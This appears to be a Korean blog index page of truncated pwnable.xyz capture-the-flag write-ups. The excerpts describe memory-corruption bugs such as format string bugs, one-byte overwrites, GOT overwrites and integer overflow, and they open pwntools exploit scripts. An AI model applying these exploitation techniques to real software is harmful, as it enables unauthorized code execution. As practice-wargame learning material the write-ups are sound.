본문 바로가기

pwn/pwnable.xyz

(39)
pwnable.xyz / UAF 게임 실행 게임 저장 저장한 게임 삭제 이름 수정 이름을 수정할 수 있는 기능을 보면 원하는 문자를 1byte 변경이 가능하다 이때 strchrnul함수를 호출하는데 해당 함수는 문자열에서 인자를 받아 포인터를 반환한다 만약 찾는 문자가 문자열에 없으면 문자열 끝에 널 바이트가 있는 주소를 반환하게 된다 이걸 통해 calc(게임)함수가 있는 곳까지 overflow낸뒤 2byte를 바꿔 win함수로 만들어 주고 게임을 실행시켜 플래그를 얻으면 된다 from pwn import * p = remote("svc.pwnable.xyz", 30015) #p = process("./uaf") def change_char(ch_char, new_char): p.recvuntil(b"> ") p.sendline(b"5..
pwnable.xyz / iape 로컬에서는 잘만되는데 리모트에서는 깨진다...하... 버전 문제였던것 같다 18.04버전과 20.02버전에서의 PIE상태가 달라서 문제가 생긴 것 같다 PIE하나 릭한 뒤 ret 주소 덮으면 된다 ubuntu 20.02 from pwn import * #context.log_level = "debug" p = remote("svc.pwnable.xyz", 30014) #p = process("./iape") #gdb.attach(p) arr_len = 0x400 ret_len = arr_len + 0x10 win_off = 0xb5b def print_(): p.recvuntil(b"> ") p.sendline(b"3") def leak_append(): p.recvuntil(b"> ") p.sendli..
pwnable.xyz / strcat name에는 128byte 쓰기를 desc는 32byte쓰기가 가능하다 name에 입력을 할 때 마다 128를 최대치로 쪼개서 입력을 받을 수도 있다 fsb가 터지기는하는데 건들 것이 없다 readline함수를 통해 데이터를 입력 받고 strlen으로 길이 구해서 -1해준 값을 반환해 maxlen으로부터 빼게 된다 널 바이트 넣어서 readline의 반환 값이 -1이 되게도록하면 maxlen -= -1이 되서 maxlen을 증가 시킬 수 있다 이후에 desc를 got주소로 변조해서 got주소에 win함수 넣어주면 된다 from pwn import * p = remote("svc.pwnable.xyz", 30013) #p = process("./strcat") printf_got = 0x602040 win..
pwnable.xyz / J-U-M-P 스택 주소를 릭할 수 있고 rbp를 1byte overwrite할 수 있다 rbp 계산 잘해서 rbp-0x11을 1byte변조해서 win함수로 만들고 rbp-0x8로 이동해서 그쪽으로 jmp하도록 하면된다 로컬에서는 되는데 리모트에서는 안된다... ubuntu 18.04로 해보면 익스가 되는데 오프셋 차이인 것 같다 ubntu 20.02 from pwn import * #context.log_level = "debug" #p = remote("svc.pwnable.xyz", 30012) p = process("./j-u-m-p") #gdb.attach(p) def ovr_data(data): p.recvuntil(b"> ") p.send(data) def st_leak(): p.recvuntil(b"> ..
pwnable.xyz / sus 스택을 잘못써서 참조하는 주소를 덮을 수 있다 user를 생성해서 이름과 나이를 입력 받고 이를 출력하고 수정할 수 있는 기능이 있다 출력 및 수정 기능은 user가 생성되었을 때만 가능하다 create_user 0x1060만큼 스택을 뽑고 거기에 0x20 데이터를 쓴다 cur에 힙 주소가 저장된 스택 주소를 저장한다 edit user 0x1028만큼 스택을 뽑는다 cur에 저장된 스택 주소에 있는 힙주소에 이름을 적는다 read_int32를 호출해서 나이를 입력 받는다 read_int32 0x30을 뽑아서 0x20데이터를 쓰고 atoi로 숫자로 변환해 리턴한다 위 내용은 문제 풀때 짤막하게 정리해놓은 내용이다 핵심은 create_user에서 스택을 0x1060 뺀 위치에 힙주소를 저장하는데 해당 주소를..
pwnable.xyz / fspoo 쉬운 문제였는데 시력에 문제가 있는지 while문 처음에 printf로 fsb가 터지는걸 못봤다 while문 처음에 fsb가 터진다 이후에 prep msg를 통해 cmd[32]를 덮어서 fsb를 터트릴 수 있지만 매우 제한적이다 v1(v1)을 통해 입력을 받고 1byte만 검사하기 때문에 메모리 릭하고 이 값에 원하는 주소를 넣으면 fsb를 통해 aaw가 가능하다 ret주소가의 하위 1byte만 조작하면 win함수로 변경이 가능해서 스택 주소 하나 릭해서 ret주소가 저장된 스택주소를 v1에 저장하고 fsb를 통해 하위 1byte만 조작해서 ret가 win함수가 되도록했다 빨간색 표시가 scanf로 입력한 값이고 초록색 표시가 ret주소다 1byte만 변조하여 ret주소가 win함수가 되도록하였다 fro..
pwnable.xyz / Game 게임 시작 ( play_game ) 게임 저장 ( save_game ) 이름 수정 ( edit_name ) 맞추면 점수가 1 증가하고 틀리면 1감소한다 새로운 게임 객체를 생성하고 기존 게임 데이터를 새로운 게임에 저장한다 strlen으로 길이를 구해서 이름을 수정한다 name과 score를 채워주면 edit_name에서 play_game까지 덮어 쓸 수 있다 score를 채우는 방법은 일부러 틀려서 점수를 0xffff로 채워주고 save_game으로 qword로 형변환 score를 채울 수 있다 from pwn import * p = process("./Game") #gdb.attach(p) def play_game(): p.recvuntil(b"> ") p.sendline(b"1") p.recvunt..
pwnable.xyz / l33t-ness 1 ~ 3 round를 통과하면 win함수를 호출해 flag를 출력해준다 x, y를 입력 받는데 - 를 입력해서 음수를 쓸 수 없다 integer overflow해서 1337 맞춰주면 된다 x, y를 곱한 값이 1337을 맞춰주면된다 1번과 동일하다 5개 수를 입력 받아서 더한 값과 곱한 값이 동일하면된다 조건은 이전 값보다 작으면 안된다 다 0으로 주면 된다 from pwn import * p = process("./l33t-ness") def round_1(x, y): p.recvuntil(b"x: ") p.sendline(str(x)) p.recvuntil(b"y: ") p.sendline(str(y)) def round_2(x, y): p.recvuntil(b"===\n") p.sendline(s..